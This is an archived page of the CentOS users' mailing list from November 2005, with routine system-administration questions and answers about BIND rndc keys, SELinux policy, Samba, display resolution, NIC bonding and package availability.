Hello, I noticed in my logwatch file I have an error with my rndc key. I could 'play' around with it and may fix it but most likey just hose things up. I think I see the problem but not 100% sure. I think the key file has 3 different names. Here's the error: **Unmatched Entries** /etc/named.conf:23: couldn't find key 'rndckey' for use with command channel 127.0.0.1#953: 1 Time(s) Here's parts of the relevant files: named.conf: controls { inet 127.0.0.1 allow { localhost; } keys { rndckey; }; include "/etc/rndc.key"; <-- does not match above -------------------------------------------------------------- rdnc.conf: options { default-server localhost; default-key "rndckey"; }; server localhost { key "rndckey"; }; key "rndckey" { algorithm hmac-md5; secret "xxxxxxxxxxxxxxxxxxxxx"; }; ---------------------------------------------------------------- rdnc.key: key "rndc-key" { <----- yet another name for the key algorithm hmac-md5; secret "xxxxxxxxxxxxxxxxxxxxxxx"; }; ----------------------------------------------------------------- Anyone know what the simpliest solution would be? TIA

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Re: [CentOS] A minor beef
by James B. Byrne 26 Nov '05

26 Nov '05

On Thu, 24 Nov 2005 14:06:34 -0500, Bryan J. Smith" <thebs413(a)earthlink.net> wrote: > But if you find yourself having repeat issues, and it is really > important to you, I have to suggest you consider paying Red Hat. I > know some here might disagree, but I have to at least say it. However, in my case I arrived at CentOS via Whitebox after giving up on paid support from RH on ES3. They were nice enough people, but I have had fewer problems getting updates from CentOS and have obtained equally helpful support here as I ever did from RH; for only $25.00 USD per box per year vs. ~$1000.00 per box per year. As my experience with RH is not yet a year old I very much doubt that there has been much change for the better. Sometimes you do not get what you pay for; and when you do not then it is better to have paid little than much. Regards, Jim -- *** e-mail is not a secure channel *** mailto:byrnejb.<token>@harte-lyne.ca James B. Byrne Harte & Lyne Limited vox: +1 905 561 1241 9 Brockley Drive fax: +1 905 561 0757 Hamilton, Ontario <token> = hal Canada L8E 3C3

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SELinux local policy addition
by James B. Byrne 26 Nov '05

26 Nov '05

When the latest version of CentOS4.2 boots I get an avc error for portmap. Audit2allow suggests this as a cure: allow portmap_t etc_runtime_t:file read; Any issues that come to mind to anyone regarding adding this to /etc/selinux/targeted/src/policy/domains/misc/local.te and reloading? Regards, Jim P.S. I am a digest subscriber. The favour of a direct reply is requested in addition to any to the list. -- *** e-mail is not a secure channel *** mailto:byrnejb.<token>@harte-lyne.ca James B. Byrne Harte & Lyne Limited vox: +1 905 561 1241 9 Brockley Drive fax: +1 905 561 0757 Hamilton, Ontario <token> = hal Canada L8E 3C3

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New "Managing Software with yum" guide
by Johnny Hughes 26 Nov '05

26 Nov '05

There is a new "Managing Software with yum" guide that has been added to our documents section. http://mirror.centos.org/centos/4/docs/html/yum/ It is based on the excellent document written by Stuart Ellis for the Fedora Core(R) website: http://fedora.redhat.com/docs/yum/index.html Thanks, Johnny Hughes

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Where to look or command
by Sam Drinkard 25 Nov '05

25 Nov '05

List, I've got a process(s) that have been exiting on a signal 11, but not all the time. I suspect it's memory related, and I was wondering, is there any way to tell exactly how much memory a particular process has in use at the point it sigsev's ? I can't sit here and watch top or the system monitor, but thought maybe something might be saved somewhere after the fact. The processes are using at the moment, 1.4gb of memory and no swap. I've not seen swap go active during any of this process run, and the machine has 2 GB memory installed. Rather hard to trace down the exact activity when it happens. Thanks.. -- Snowman

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Re: [CentOS] Where to look or command
by Brian T. Brunner 25 Nov '05

25 Nov '05

B.T.D.T! catch the signal in a handler of your own, do analysis as needed, then clean up and exit (saving a core file if you need one). AIUI, the signal handler runs in the space of the process/thread that hit the trap. Brian Brunner brian.t.brunner(a)gai-tronics.com (610)796-5838 >>> sam(a)wa4phy.net 11/25/05 10:47AM >>> List, I've got a process(s) that have been exiting on a signal 11, but not all the time. I suspect it's memory related, and I was wondering, is there any way to tell exactly how much memory a particular process has in use at the point it sigsegv's ? ******************************************************************* This email and any files transmitted with it are confidential and intended solely for the use of the individual or entity to whom they are addressed. If you have received this email in error please notify the system manager. This footnote also confirms that this email message has been swept for the presence of computer viruses. www.hubbell.com - Hubbell Incorporated

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CentOS 4 - libgd.so.1.8
by Tom Brown 25 Nov '05

25 Nov '05

Hi I need to get libgd.so.1.8 onto a CentOS 4 system - Currently its at 4.2 and i see that this is in package gd1.x however for CentOS 4 there is only gd2.x How can i get this lib ? thanks

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boot with more scsi card
by Farkas Levente 25 Nov '05

25 Nov '05

hi, we've got a server with a 8 port 3ware card and 2 ide system disks. now we'd like to replace the ide disks with scsi disks or sata disks (these also recognized as scsi in the kernel). but we can't boot from it. the problem are twofold. first in the normal case the first scsi host scsi0 id the 3ware card, but grub only see the first 8 disk so if the system disk are sdi and sdj the one can't boot from it. on the other hand if one disk is removed from the 3ware card or the kernel reorder the scsi disk and sdi become sdh which is also a problem both for the bios and for the kernel. if i change the order in bios, the kernel still use as 3ware scsi0. if i use scsihosts kernel param or load the scsi driver (through modprobe.conf) in a reverse order then the kernel hang forever during the initialization of the 3ware driver. any tip? thanks in advance. yours. centos 4.2 kernel-2.6.9-22.0.1.EL 3w_xxxx 1.26.00.039 -- Levente "Si vis pacem para bellum!"

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which script will run before and after network started
by Robin Mordasiewicz 25 Nov '05

25 Nov '05

Is there a script which I can customize which will run before doing service network stop and a script which I can run after doing service network start I see that /sbin/ifup-local runs after each interface is brought up, but I cannot figure out which scripts will run after all the interfaces are brought up.

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Request rewriting - regular expressions
by Tom Brown 24 Nov '05

24 Nov '05

OK not directly CentOS this one but.... I'm trying to write a rewrite rule that uses the same(tm) syntax as apache mod_rewrite (or at least it understands it) The following works by catching ANY url comfigured in the web server and rewriting it with the correct http status code. The issue is that i need to redirest URL1 to 1st location and URL2 to second location and i'm trying to get my match syntax correct. Can anyone advise on the reg expression that would distinguish betweek URL1 and URL2 thanks! match URL into $ with ^/$ if matched then set SCRATCH:LOC = http://www.example.com/en/homepage.html set Response = 302 set OUT:Location = %{SCRATCH:LOC} set OUT:Content-Type = text/html set Body = set Body = This page has moved, please visit <ahref="http://www.example.com">here</a> instead. endif

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samba windows 2000 and windows 2003
by Peter Farrow 24 Nov '05

24 Nov '05

Dear All, I have two AD domains, one running on Windows 2000 and one running on Windows 2003. Each with XP clients, and no trust. Ihave a linux file server running samba 3 on Centos 4.2, the smb.conf file specifies that security=server, and points the password server to the operations master on the Windows 2000 domain. All clients and 2000 servers on the Windows 2000 domain, (xp or otherwise) can access the smb shares on the linux box no problem. The windows 2003 server and XP clients on that domain cannot, first time round they receive the error "The request is not supported", after adding this: client signing = auto to my smb.conf file I get the error "the filename, directory name or volume label syntax is incorrect." I tried disabling packet signing on the win2k3 box group policy - it made no difference. I disconnect the linux server from using the windows 2000 server as a password server and setup up separate smb accounts and it works fine from the win2k3 box. I believe this is something to do with packet signing but just cant seem to find out the problem. I fixed this on a previous linux server the other way round (mounting 2k3 on Linux, but can't remember how I did it), I note that that server has a /proc/fs/cifs directory where I can kill packet signing, but the new server with the current problem does not. However I don't recall installing cifs nor does it seem to be on the older server. Any ideas? Pete

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trimming CentOS - flash disk
by mbneto 24 Nov '05

24 Nov '05

Hi, I am switching a few specific servers with CentOS 4.2 and I'd like to use in some a flash disk (CF card). Unfortunately the minimum size of a centos install seems to be around 600 Mb (at least that's what I got) and 1 Gb card are still expensive and, IMHO too big if all you want is a gateway/iptables machine or a NFS server. There are other OSes and even distros that have a smaller footprint (way down to 60 Mb), and I am not talking about those 'embedded' distros like monowall, openwrt etc. I was wondering if there is a quick way to reduce the size and if there is a "slim process" in the works to do that.

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RE: [CentOS] Frontpage Extensions
by Bob Pierce 24 Nov '05

24 Nov '05

William, The package from nuonce.net sounds interesting. But if that doesn't work for you, the extensions from Ready To Run do work on Centos4.2. We just finished putting together a hosting server with FP extensions on Centos4.2. Although there are a few initial headaches with configuring everything properly most of the tips we needed came from the ready2run site. If you run into specific problems feel free to ask. Our server's been working good for a few months now. We just have to be careful about the permissions on /var/log/httpd/fpcgisock after yum updates. Bob. -----Original Message----- From: centos-bounces(a)centos.org [mailto:centos-bounces@centos.org] On Behalf Of Doug Ferrell Sent: Thursday, November 24, 2005 7:36 AM To: CentOS mailing list Subject: RE: [CentOS] Frontpage Extensions -----Original Message----- From: centos-bounces(a)centos.org [mailto:centos-bounces@centos.org]On Behalf Of Paul Sent: Thursday, November 24, 2005 12:43 AM To: CentOS mailing list Subject: Re: [CentOS] Frontpage Extensions On Tue, 2005-11-22 at 20:35 -0500, William Warren wrote: > Where can ig et frontpage extensions to install on my centos_4 server? > REady to run's don't mention RHEL anywhere. > Microsoft has discontinued them on their server products. The last system I installed them on was a RH 7.3 system for a local ISP that had a drive meltdown. I don't even know if they work with Apache 2.0. Paul You can try here: http://www.nuonce.net/bq-frontpage.php ...DOUG _______________________________________________ CentOS mailing list CentOS(a)centos.org http://lists.centos.org/mailman/listinfo/centos _______________________________________________ CentOS mailing list CentOS(a)centos.org http://lists.centos.org/mailman/listinfo/centos

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Where is the proper place to set the group ownership of devices under /dev/ in Centos3.
by Alexander Georgiev 24 Nov '05

24 Nov '05

Dear list members, I have a DVD writer /dev/scd0 which after reboot has the following ACL: brw-rw---- 1 root disk 11, 0 Sep 9 2004 /dev/scd0 However I want to set this device group to "Domain Users" in order to enable its members to burn DVDs. If i invoke: #chgroup "Domain Users" /dev/scd0 the next reboot will override the group back to "disk". Is there a standard/reglamented way to set the group ownership of a device file. Best regards! ageorgiev

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Frontpage Extensions
by William Warren 24 Nov '05

24 Nov '05

Where can ig et frontpage extensions to install on my centos_4 server? REady to run's don't mention RHEL anywhere. -- My "Foundation" verse: Isa 54:17 No weapon that is formed against thee shall prosper; and every tongue that shall rise against thee in judgment thou shalt condemn. This is the heritage of the servants of the LORD, and their righteousness is of me, saith the LORD. -- carpe ductum -- "Grab the tape" CDTT (Certified Duct Tape Technician) Linux user #322099 Machines: 206822 256638 276825 http://counter.li.org/

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Apache with mod_perl rpm query..
by Sanjay Arora 24 Nov '05

24 Nov '05

Any repository maintaining Apache rpm with mod_perl for CentOS? How do I maintain rpm installs from repos and also maintain ability to use various mods that I would like to use? Or do I have to ./configure ;-) With regards. Sanjay.

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CentOS-announce Digest, Vol 9, Issue 14
by centos-announce-request＠centos.org 24 Nov '05

24 Nov '05

Send CentOS-announce mailing list submissions to centos-announce(a)centos.org To subscribe or unsubscribe via the World Wide Web, visit http://lists.centos.org/mailman/listinfo/centos-announce or, via email, send a message with subject or body 'help' to centos-announce-request(a)centos.org You can reach the person managing the list at centos-announce-owner(a)centos.org When replying, please edit your Subject line so it is more specific than "Re: Contents of CentOS-announce digest..." Today's Topics: 1. CentOS 4.2 Server CD - x86_64 Released (Karanbir Singh) ---------------------------------------------------------------------- Message: 1 Date: Thu, 24 Nov 2005 11:03:03 +0000 From: Karanbir Singh <kbsingh(a)centos.org> Subject: [CentOS-announce] CentOS 4.2 Server CD - x86_64 Released To: centos-announce(a)centos.org Message-ID: <43859DE7.9030001(a)centos.org> Content-Type: text/plain; charset="us-ascii" The single CD Server edition of CentOS 4.2/x86_64 has now been released. It lets you setup a basic CentOS 4 system along with the server components. Anything else that is needed can then be installed via yum or up2date once the system is running. The resulting installed system is identical to a normal CentOS 4 install ( with yum and up2date ). Download the ServerCD from /centos/4/isos/x86_64/ directory on your local mirror or pickup the torrent. List of mirrors at http://www.centos.org/mirrors . The torrent is at http://mirror.centos.org/centos/4/isos/x86_64/CentOS-4.2.ServerCD-x86_64.to… We appreciate all feedback ( via http://bugs.centos.org/ ), including RFE's and bug notifications. Enjoy!

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Warnings for package kernel-2.6.9-22.0.1.106.unsupported
by Collins Richey 24 Nov '05

24 Nov '05

FYI, During my bi-weekly yum update, I noted the following warnings. Warnings during kernel update kernel-2.6.9-22.0.1.106.unsupported WARNING: /lib/modules/2.6.9-22.0.1.106.unsupported/kernel/fs/afs/kafs.ko needs unknown symbol afs_key_unregister WARNING: /lib/modules/2.6.9-22.0.1.106.unsupported/kernel/fs/afs/kafs.ko needs unknown symbol afs_key_register Is this anything to worry about? If I read this right, the error is for AFS, and I could care less whether AFS works or not. -- Collins Richey Debugging is twice as hard as writing the code ... If you write the code as cleverly as possible, you are, by definition, not smart enough to debug it. -Brian Kernighan

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FUSE/SSHFS RPM Packages.
by Camron W. Fox 24 Nov '05

24 Nov '05

Alle, Does anyone know if there are any reputable repositories out there that contain packages for fuse/sshfs? Best Regards, Camron -- Camron W. Fox Hilo Office High Performance Computing Group Fujitsu America, INC. E-mail: cwfox(a)us.fujitsu.com

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[Hardware] Good Server I/O on-the-cheap: ASL Monarch 811x with CentOS 4.2 ...
by Bryan J. Smith 24 Nov '05

24 Nov '05

Since good server designs have come up in the past, I wanted to point out a "low-cost" server option that has good I/O, and the vendor offers _your_choice_ of not only Fedora Core or Red Hat Enterprise Linux, but _also_ CentOS _shipped_ with it! IN-A-NUTSHELL ... Starting at just over $750, you can get a single Socket-939 Opteron 1xx (dual-core is an option) system with up to 4GiB of ECC (but non- registered) DDR SDRAM, up to 4 hot-swap SATA bays (8114 model), one PCI- X slot (perfect for a 3Ware card, which they _do_ support ;-) and dual on-board GbE Broadcom NICs -- all in a 1U rackmount form-factor. The resulting I/O performance is excellent at the price-point for those that want a good server I/O well beyond typical "desktop/workstation" but for around the same price. The 4 hot-swap drive configuration, with a decent amount of RAM, 3Ware card with the 4 drives in RAID-10 or 5, and, most importantly, with CentOS 4.2 shipped runs just a little over $2K. Not really much more than an equivalent "self-assembled desktop" you might be able to put together, while being a heck of a lot better in interconnect configuration and resulting server performance. ASL Monarch 8110/8114/8115 (Left Column): http://www.aslab.com/products/storage/monarch.html NOW THE TECHNOBABLE I'M INFAMOUS FOR ... ASL Monarch Series, 811x with ServerWorks HT1000 Chipset I haven't purchased anything from ASL in years, but back when I was working in the semiconductor industry, the sysadmin at Transmeta turned me on to them. The really know their hardware and Linux compatibility, and they have been shipping products with 3Ware for years. They are now shipping their Monarch 811x series of products (not to be confused with a _separate_ vendor called Monarch Computer Systems ;-) with the Broadcom ServerWorks HT1000 chipset: http://www.broadcom.com/products/Enterprise-Small-Office/SystemI-O-Chips/HT… The ServerWorks HT1000 is rarely found without the HT2000, hence why you typically only find them in dual or quad socket boxen. And that combination competes against serverboards with the AMD8131/8132, which are also typically only found in dual or quad socket boxen. The number of channels, traces, etc... is why it's never cost-effective to make a single processor with an AMD8131. But in the case of the single chip HT1000 on its own -- with dual-GbE NICs and a single PCI-X channel, plusall legacy PC peripherals logic necessary, it _was_ designed to be standalone. So if I had to guess from the specs, the mainboard is the SuperMicro H8SSL-i (although I have not confirmed it): http://www.supermicro.com/Aplus/motherboard/Opteron/HT1000/H8SSL-i.cfm The H8SSL-i is _not_ available via retail channels, only select OEMs. So you can't just go out and buy it. Unless you just want a 2 SATA drive version (the 8110 or 14" shallow 8115), the 8114 offers up to 4 SATA hot-swap bays in a sub-20" deep 1U rackmount: http://www.aslab.com/products/storage/monarch8114.html They seem to be supporting the latest 3Ware Escalade 9550SX, which it too new to trust IMHO. But if they feel differently, I'd trust them. At the same time, it wouldn't surprise me if they'd sell it with a Escalade 8506 series instead -- which I do trust (especially since with only 4 drives, I'd probably create a RAID-10 volume), and only default to the 9550SX because most customers want RAID-5. -- Bryan J. Smith b.j.smith(a)ieee.org http://thebs413.blogspot.com ------------------------------------------------------------------- For everything else *COUGH*commercials*COUGH* there's "ManningCard"

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dual head on laptop
by Jerry Geis 24 Nov '05

24 Nov '05

I am trying to use the system-config-display utility to setup a laptop for dual-heal. I want my LCD to be 1024x768 and external VGA to be 1366x768. I presume the LCD will go virtual or something to match the 1366x768 which is fine. When I am setting up the dual head and click OK nothing happens??? On the console I have something about secondVideoCardOptionMenu.get_menu().get_active().get_data("NAME") attribute error. There is no second video card in a laptop???? How do setup the VGA port to be different than the LCD? Thanks, jerry

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Desktop media apps query
by Sanjay Arora 24 Nov '05

24 Nov '05

Want to support the following apps on some of our centos 4.2 desktops. Are yum-installable binaries/rpms available for CentOS 4.2 and which repository? MP3 player Macromedia Flash/Shockwave MPlayer Media Player RealPlayer 10 Media Player Java J2RE and Mozilla Plug-in MS TrueType fonts With regards. Sanjay.

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New XFS Code for CentOS-4
by Johnny Hughes 24 Nov '05

24 Nov '05

All, I just submitting this information to the CentOS-Devel list. I want to also include it here in case there are people who want to use XFS on the standard CentOS kernel. DO NOT EXPECT THIS TO BE PRODUCTION GRADE :) ... it is a TESTING release (For those of you who are tracking beta code ... this is pre-beta, and use at your own risk) If it breaks, you get to keep all the pieces because I don't want any of them. http://lists.centos.org/pipermail/centos-devel/2005-November/000926.html PS ... I won't listen to any complaints that this code broke anything ... please be forewarned. -------- Johnny Hughes

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only root can use xwindows
by Roger D Vargas 24 Nov '05

24 Nov '05

After testing runlevel 5 i noticed that I cant switch to text consoles. So I went back to runlevel 3, but now normal users cant use graphic environment. I just got a black screen and an error message: Xlib: connection refused by server, Protocol unsupported by server root can start xfce normally. Any idea about whats happenning? -- Roger D. Vargas http://dsgp.blogspot.com | Linux, programación, juegos ______________________________________________ Renovamos el Correo Yahoo! Nuevos servicios, más seguridad http://correo.yahoo.es

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Re: [CentOS] SOLVED [was Re: latex writer in gnome?]
by C.M. Connelly 24 Nov '05

24 Nov '05

"RB" == Rodrigo Barbosa <rodrigob(a)suespammers.org> RB> I know I should not say this, but I find VIM with syntax RB> highlightening a parted latex editor. I now have to mention Emacs with AucTeX. ;-) I generally grab the latest AucTeX SRPM from Fedora Core (i.e., from Rawhide) and build it locally. Or else get the real source [0] and build that. The latest and greatest AucTeX incorporates preview-latex, which ``typesets'' some mathematical stuff for you and displays it in your document. I'm not that excited by that behavior, but you might like it. I also install Kile, a full-blown GUI editor, for folks here to use. It's a KDE program and is a lot like WinEDT. Kile seems to be reasonably nice if you like that sort of thing. Dag has RPMs. Claire [0] http://www.gnu.org/software/auctex/download.html -- *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* Claire Connelly cmc(a)math.hmc.edu Systems Administrator (909) 621-8754 Department of Mathematics Harvey Mudd College *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*

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Re: [CentOS] GDM problem
by Jack Bailey 24 Nov '05

24 Nov '05

Here's another data point regarding the GDM problem I'm having. Once again, I get this on the console: There was an error loading the theme Default Couldn't recognize the image file format for file '/usr/share/gdm/themes/Default/background.png' Yesterday I needed to edit some graphics I had done for a job. I use gimp. Now gimp tells me: Image type 'png' is not supported Soooo ... the problem appears to be with png support and not with GDM at all. Jim asked me to run "rpm -Vv gdm" which produced: [snip] prelink: /usr/bin/gdmXnestchooser: at least one of file's dependencies has changed since prelinking S.?..... /usr/bin/gdmXnestchooser prelink: /usr/bin/gdmchooser: at least one of file's dependencies has changed since prelinking S.?..... /usr/bin/gdmchooser prelink: /usr/bin/gdmflexiserver: at least one of file's dependencies has changed since prelinking S.?..... /usr/bin/gdmflexiserver prelink: /usr/bin/gdmgreeter: at least one of file's dependencies has changed since prelinking S.?..... /usr/bin/gdmgreeter prelink: /usr/bin/gdmlogin: at least one of file's dependencies has changed since prelinking S.?..... /usr/bin/gdmlogin prelink: /usr/bin/gdmphotosetup: at least one of file's dependencies has changed since prelinking S.?..... /usr/bin/gdmphotosetup [snip] prelink: /usr/sbin/gdmsetup: at least one of file's dependencies has changed since prelinking S.?..... /usr/sbin/gdmsetup [snip] This also points to something else. What that is I don't know. I don't change system stuff. Jack

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Bonding in CentOS3 vs. CentOS4
by Robin Mordasiewicz 24 Nov '05

24 Nov '05

I am able to bring up a bonded NIC in Centos4 without requiring to bring up the bond0 with an ip address, but with CentOS-3 I must assign the NIC an address or eth0 and eth1 will not slave. I need to bring bond0 up without an ip address becuase I will be using tagged VLANs. ie. <snip /etc/sysconfig/network-scripts/ifcfg-bond0> DEVICE=bond0 BOOTPROTO=none ONBOOT=yes IPADDR=169.254.0.1 USERCTL=no </snip> I can later manually do something like the following from a post network script, but I am wondering why this is different in CentOS-4. ifconfig bond0 0.0.0.0 ifconfig eth0 0.0.0.0 ifconfig eth1 0.0.0.0 if I change the ifcfg-bond0 to not have an ip address. ie. <snip /etc/sysconfig/network-scripts/ifcfg-bond0> DEVICE=bond0 BOOTPROTO=none ONBOOT=yes #IPADDR=169.254.0.1 USERCTL=no </snip> Then when I restart the network neither eth0 or eth1 are enslaved.

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SOLVED [was Re: latex writer in gnome?]
by Sharon Kimble 24 Nov '05

24 Nov '05

On 11/22/05, Sharon Kimble <sharon04(a)gmail.com> wrote: > Does anybody know the gnome program that you can write in latex with please? > > I'm not sure but I think its in the base repo. Its not winefish as it > (winefish) doesn't compile the source text like the program that I'm looking > > for does. > > Hopefully thanks > Sharon. > -- I am currently using a combination of emacs-auctex and winefish, with the occasional usage of kile. After a bit of experimentation I've found the program, its 'texmaker' from kbs-CentOS-Extra. Thanks everyone for your comments :) Sharon.

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Re: [CentOS] [OT] Message-ID Threading w/Subject Append Example -- WAS: pine rpm for centos 4
by James B. Byrne 23 Nov '05

23 Nov '05

On Tue, 22 Nov 2005 11:29:00 -0500 (EST), Joshua Baker-LePain <jlb17(a)duke.edu> wrote: > I'm sorry, but making decisions based on Stupid User Tricks is about > the worst policy I can imagine. That way lies madness. No, where lies madness is in the self-centred way in which some people make demands of others to alter innocuous behaviour so that the data requirements of some MUA or other, that may or may not support generally accepted conventions , that may or may not be suitably configured, might be satisfied. I read mailing lists as digests. Message threading is of no use to me outside of threaded web archives, that I seldom use in such fashion. Neither is the subject content of much significance beyond keying me as to whether some section of a digest may be of particular interest. This is not to say that these features have no value, only that my circumstances realize little any from them. However, I have been taken to task nonetheless, because my personal preferences do not meet with the approval of some. It is this presumption that irritates me. I am not a member of this list simply to ease the administrative burdens that some people create for themselves. I seek information and informed opinion on technical issues related to the equipment I am responsible for and the vocation I profess, not quasi-religious debates on the morality of certain widely held but hardly universal conventions. I sometimes (rarely) am in the possession of a piece of information that may prove helpful to another, and so I offer on occasion. However, in the main this list is my way of reaching beyond my own ignorance. Usually I am in the position of supplicant and I have found the people on this list generally as helpful and usually as well informed as other lists that I frequent. But I am concerned about the general tenor of some of the discussions here and how these may lead to ill-feeling in some and a disinclination to actively participate in others. We are all infinitely ignorant, it is just that some of us possess a predisposition to stay within that which we find familiar and others find it easier to take adventures. Neither tendency is good or bad, they are just personal preferences. It would be more comfortable for the list membership, and improve the decorum of the messages considerably, if people from one camp or the other, and the many of us that straddle both albeit on different issues, displayed a willingness to accommodate the other side and recognize that there are many important reasons, not all of which we may agree with, why someone chooses to do things a certain way. Complaining about people's email habits, particularly in public, where the content is not the issue strikes me as pointless, self- indulgent in the extreme, and reflects most poorly on the personality of the complainant. Sincerely, Jim -- *** e-mail is not a secure channel *** mailto:byrnejb.<token>@harte-lyne.ca James B. Byrne Harte & Lyne Limited vox: +1 905 561 1241 9 Brockley Drive fax: +1 905 561 0757 Hamilton, Ontario <token> = hal Canada L8E 3C3

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HSBC Banking
by Rob 23 Nov '05

23 Nov '05

Hi, This is a long shot, but does anyone have HSBC Internet banking working with Centos-4? Various fragments on other lists suggests that it works with Konqueror but not for me. :-( Thanks Rob

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Scsi drive monitor
by Jon 23 Nov '05

23 Nov '05

Hello Has anyone successfully loaded a disk monitoring tool for a HP lp100r, running centos 3.6, in a raid 5 configuration, created using the HP 1M raid card? The old Top Tools from HP no longer work with this kernel version. Thanks Jon ___________________________________________________________ To help you stay safe and secure online, we've developed the all new Yahoo! Security Centre. http://uk.security.yahoo.com

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RHEL3 --> CentOS3 HP proliant 380
by Peter van Eck 23 Nov '05

23 Nov '05

Hi, I've got a HP 380 G2 which is running RHEL AS 3 Taroon update 1. The current smp kernel 2.4.21-9smp is booting with a HPinitrd image. Mostlikely generated with the HP proliant Service Pack for RHEL 3. Now if I migrate this system to CentOS 3 and a new kernel will be installed ,will that work ? Does the new centOS kernel use the same config as the current RHEL kernel ? Anyone done this before ? I don't have access to the console so can't take too much risk here.. thanks, Peter

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RE: [CentOS] x windows dell inspiron 1200 setting for 1366x768
by Plant, Dean 23 Nov '05

23 Nov '05

Jerry Geis wrote: >> I had a similar problem trying to set 1400x1050 on a Siemens Fujitsu >> Laptop. The fix for me, was to use 915 resolution from >> http://www.geocities.com/stomljen/ as it seems the Intel video bios >> has a limited set of resolution modes > >> Hope this helps > >> Dean > > Dean, > > THanks I have 1 question. on centso 4.2 X starts real early... > Where do you run the 915resolution command? I put it in > rc.local and it did not seem to work. > > THanks, > > Jerry That's where I put it and it worked fine. I tested first by booting to run level 3 running "915resolution 4b 1400 1050" and then started X. This worked so I just added the same command to rc.local. The desktop now boots by default to 1400x1050 in run level 5. My tests were on Siemens Fujitsu Laptop E8020D with Centos 3.6 and I had to replace XFree86 with the latest development version before using 915resolution as I could not get X to display anything other than a black screen, even with the vesa driver. Dean.

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how does one default a laptop to use the external monitor not the LCD
by Jerry Geis 23 Nov '05

23 Nov '05

I have a dell 1200 laptop. How do I tell X to use the external VGA port by default and not the LCD? I have looked in the bios and there is nothing. Jerry

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Problem when booting CentOS on ALpha Server.
by israel.garcia＠cimex.com.cu 23 Nov '05

23 Nov '05

List, I've just installed CentOS 4.2 (alpha) on a ES40, 4 processor 833 MHz, 2 GB ram and when I rebooted the server it simple didn't boot... Any ideas of my problem? Regards; Israel

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server exercising, stressing, and/or testing
by Robert 23 Nov '05

23 Nov '05

greetings would someone please point me to an excellent server exercising, stressing, and/or testing program that will run on centos 4? i want one that will not out and out destroy a machine so to speak... ...meaning testing is one thing, yet pounding a box in the hard drive department over and above the cause or unnecessarily does not appeal to me. fyi the box i want to test/stress this time is a compaq dl380 with 2 gig ram and 4 drives in raid5 for simple internet services thanks and kind regards, - rh -- Robert Hanson - Abba Communications Computer & Internet Services (509) 624-7159 - www.abbacomm.net

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RE: [CentOS] Re: server exercising, stressing, and/or testing
by Brian T. Brunner 23 Nov '05

23 Nov '05

The Mersenne project has a TortureTest mode that has helped me find how far I can overclock CPU or RAM without running into errors. It runs massive calculations and compares the results with pre-known values. If this is run while a disk I/O and graphics test run, the collision problems between these memory users can be (hopefully) caught without regard to whether you overclock or not. See: http://www.mersenne.org/freesoft.htm Brian Brunner brian.t.brunner(a)gai-tronics.com (610)796-5838 >>> jlb17(a)duke.edu 11/22/05 02:34PM >>> On Tue, 22 Nov 2005 at 11:30am, Robert wrote > } It might be useful if you specify what aspects of the box you want to > } test. > } > } CPU? RAM? Disk? > } > } You mentioned disk, but is that all that you want to test? > } > } Regards, > } Greg > > i wish to test it all, everything, just not ummm extremely violently in > terms of hard drive(s). > > so, if the hard drive testing part is ultimately configurable that would be > great... i just dont feel like pounding the drives for hours and hours > > ummmmmmmmmm what are people using in this area? > > i am familiar with memtest and some of the other small stuff yet i am > looking for practical list wisdom on this whole scenartio. > > thanks! I've actually had pretty good luck with this little script: http://people.redhat.com/dledford/memtest.html It's not *too* hard on the disks, although that part isn't configurable. -- Joshua Baker-LePain Department of Biomedical Engineering Duke University _______________________________________________ CentOS mailing list CentOS(a)centos.org http://lists.centos.org/mailman/listinfo/centos ******************************************************************* This email and any files transmitted with it are confidential and intended solely for the use of the individual or entity to whom they are addressed. If you have received this email in error please notify the system manager. This footnote also confirms that this email message has been swept for the presence of computer viruses. www.hubbell.com - Hubbell Incorporated

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Smartctl & SATA
by Hoy, Mark 23 Nov '05

23 Nov '05

I've just installed my first system with a SATA drive and I've noticed that smartctl isn't supported under libata According to the smartmontools home page, SATA will require a patch that is still in development. http://www.linuxjournal.com/article/6983#comment-126714 "The patch is still under development and it is probably best to make sure that the disk is idle before trying smartmontools." Isn't a glowing endorsement, besides the system only has 1 hard drive. Under CentOS 4.1 # rpm -qa | grep kernel kernel-2.6.9-5.0.3.EL kernel-utils-2.4-13.1.48 I also tried the CentOS 4.2 kernel (and kernel-utils) with similar results. # rpm -qa | grep kernel kernel-2.6.9-22.EL kernel-utils-2.4-13.1.69 Thanks, Mark

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latex writer in gnome?
by Sharon Kimble 23 Nov '05

23 Nov '05

Does anybody know the gnome program that you can write in latex with please? I'm not sure but I think its in the base repo. Its not winefish as it (winefish) doesn't compile the source text like the program that I'm looking for does. Hopefully thanks Sharon. -- 16:41:46 up 1 day, 16:56, 2 users, load average: 1.54, 1.45, 1.51 A taste of linux http://www.sharons.org.uk/taste/index.html efever http://www.efever.blogspot.com/ Centos 4.2, KDE 3.4.3-1.0, OpenOffice 2.0 Registered Linux user 334501

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x windows dell inspiron 1200 setting for 1366x768
by Jerry Geis 22 Nov '05

22 Nov '05

>I had a similar problem trying to set 1400x1050 on a Siemens Fujitsu > Laptop. The fix for me, was to use 915 resolution from >http://www.geocities.com/stomljen/ as it seems the Intel video bios has >a limited set of resolution modes >Hope this helps >Dean Dean, THanks I have 1 question. on centso 4.2 X starts real early... Where do you run the 915resolution command? I put it in rc.local and it did not seem to work. THanks, Jerry

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RE: [CentOS] x windows dell inspiron 1200 setting for 1366x768
by Plant, Dean 22 Nov '05

22 Nov '05

